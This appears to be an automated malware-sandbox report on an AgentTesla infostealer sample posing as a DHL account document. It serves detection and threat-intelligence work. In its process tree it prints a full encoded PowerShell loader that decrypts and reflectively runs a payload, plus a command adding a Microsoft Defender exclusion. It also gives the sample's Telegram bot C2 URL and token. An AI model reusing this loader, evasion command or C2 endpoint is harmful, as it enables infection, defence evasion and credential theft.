Analysis

  • max time kernel
    139s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/05/2024, 18:32

General

  • Target

    Details of your DHLaccount.exe

  • Size

    1.1MB

  • MD5

    2c4576ca7c0f8abeb6647ca51cd19b2c

  • SHA1

    cac2fdb51c878e8dec6e0f392281a3562ea9ecc0

  • SHA256

    5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e

  • SHA512

    998472adbb49895a2ee41b3f868b9c61b45bbcb3609296f234ff50fe391098e1c8f9e04c5cd5a14575ea268e229b3ffa8c73949fae4ac541bd7b614a83d6bb45

  • SSDEEP

    24576:6lMAYTFQBeU31HTh/OZHCeTcILzp6Od7b:6lMlTKsi1/OZMIM63

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot7062542161:AAGTRYaovexgStrKeV0wI1K5scR6qGG6-3k/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe
    "C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkAMgAsACAAMAB4AEUARgAsACAAMAB4AEMANAAsACAAMAB4ADMAQwAsACAAMAB4AEQARgAsACAAMAB4ADcAOQAsACAAMAB4ADAAQgAsACAAMAB4ADAANgAsACAAMAB4AEIAOAAsACAAMAB4ADkARQAsACAAMAB4ADkAMQAsACAAMAB4ADgANwAsACAAMAB4AEQAOAAsACAAMAB4AEMAMwAsACAAMAB4AEQAMgAsACAAMAB4AEYAQwAsACAAMAB4ADYAMAAsACAAMAB4ADUANwAsACAAMAB4ADUAQwAsACAAMAB4ADYANQAsACAAMAB4ADUARgAsACAAMAB4ADMAMQAsACAAMAB4AEQAQQAsACAAMAB4ADEANwAsACAAMAB4ADMARAAsACAAMAB4ADYARAAsACAAMAB4ADYANgAsACAAMAB4ADYAMQAsACAAMAB4AEUANQAsACAAMAB4ADgARAAsACAAMAB4AEYAOQAsACAAMAB4ADUAOQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADYALAAgADAAeAA4AEQALAAgADAAeABCADMALAAgADAAeAA5ADgALAAgADAAeABGADkALAAgADAAeAA3AEEALAAgADAAeABBADMALAAgADAAeAA2ADIALAAgADAAeABBADMALAAgADAAeABDAEQALAAgADAAeAA3ADQALAAgADAAeAAyAEUALAAgADAAeAA1ADIALAAgADAAeABBADAALAAgADAAeAAyAEYALAAgADAAeAA3ADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Looks for VirtualBox Guest Additions in registry
      • Command and Scripting Interpreter: PowerShell
      • Looks for VMWare Tools registry key
      • Checks BIOS information in registry
      • Maps connected drives based on registry
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Details of your DHLaccount.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3352
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3724
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
          PID:1088

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_teyyclsg.iv2.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\file-2757.putik

            Filesize

            33KB

            MD5

            04662bf07c3f7e0eece06dcffb865b67

            SHA1

            42e864c5e2137884868fe976cc1020da836ba51f

            SHA256

            c3bb7b7bf67149f81a5a7ee90ff9ce96a2b9d8572be126ae385cd464628d701c

            SHA512

            72a4c77d1753fe5c322579a0b4c1d80bd23deaf51cfc958aec1a56632e77b4911a1f43701e57470b30cc5feb9096a0216ebb22d9cc7cf4cf005afabb71d087df

          • memory/3352-35-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB

          • memory/3352-18-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB

          • memory/3352-21-0x0000022230460000-0x0000022230470000-memory.dmp

            Filesize

            64KB

          • memory/3352-19-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB

          • memory/3724-32-0x00000000058C0000-0x0000000005926000-memory.dmp

            Filesize

            408KB

          • memory/3724-40-0x0000000074D2E000-0x0000000074D2F000-memory.dmp

            Filesize

            4KB

          • memory/3724-39-0x0000000006D10000-0x0000000006D1A000-memory.dmp

            Filesize

            40KB

          • memory/3724-38-0x0000000006D90000-0x0000000006E22000-memory.dmp

            Filesize

            584KB

          • memory/3724-37-0x0000000006CA0000-0x0000000006CF0000-memory.dmp

            Filesize

            320KB

          • memory/3724-17-0x0000000000400000-0x0000000000442000-memory.dmp

            Filesize

            264KB

          • memory/3724-22-0x0000000005F60000-0x0000000006504000-memory.dmp

            Filesize

            5.6MB

          • memory/3724-20-0x0000000074D2E000-0x0000000074D2F000-memory.dmp

            Filesize

            4KB

          • memory/4528-16-0x0000026A474C0000-0x0000026A47556000-memory.dmp

            Filesize

            600KB

          • memory/4528-1-0x00007FFE88A73000-0x00007FFE88A75000-memory.dmp

            Filesize

            8KB

          • memory/4528-36-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB

          • memory/4528-12-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB

          • memory/4528-15-0x0000026A44F20000-0x0000026A44F2C000-memory.dmp

            Filesize

            48KB

          • memory/4528-2-0x0000026A44EB0000-0x0000026A44ED2000-memory.dmp

            Filesize

            136KB

          • memory/4528-13-0x00007FFE88A70000-0x00007FFE89531000-memory.dmp

            Filesize

            10.8MB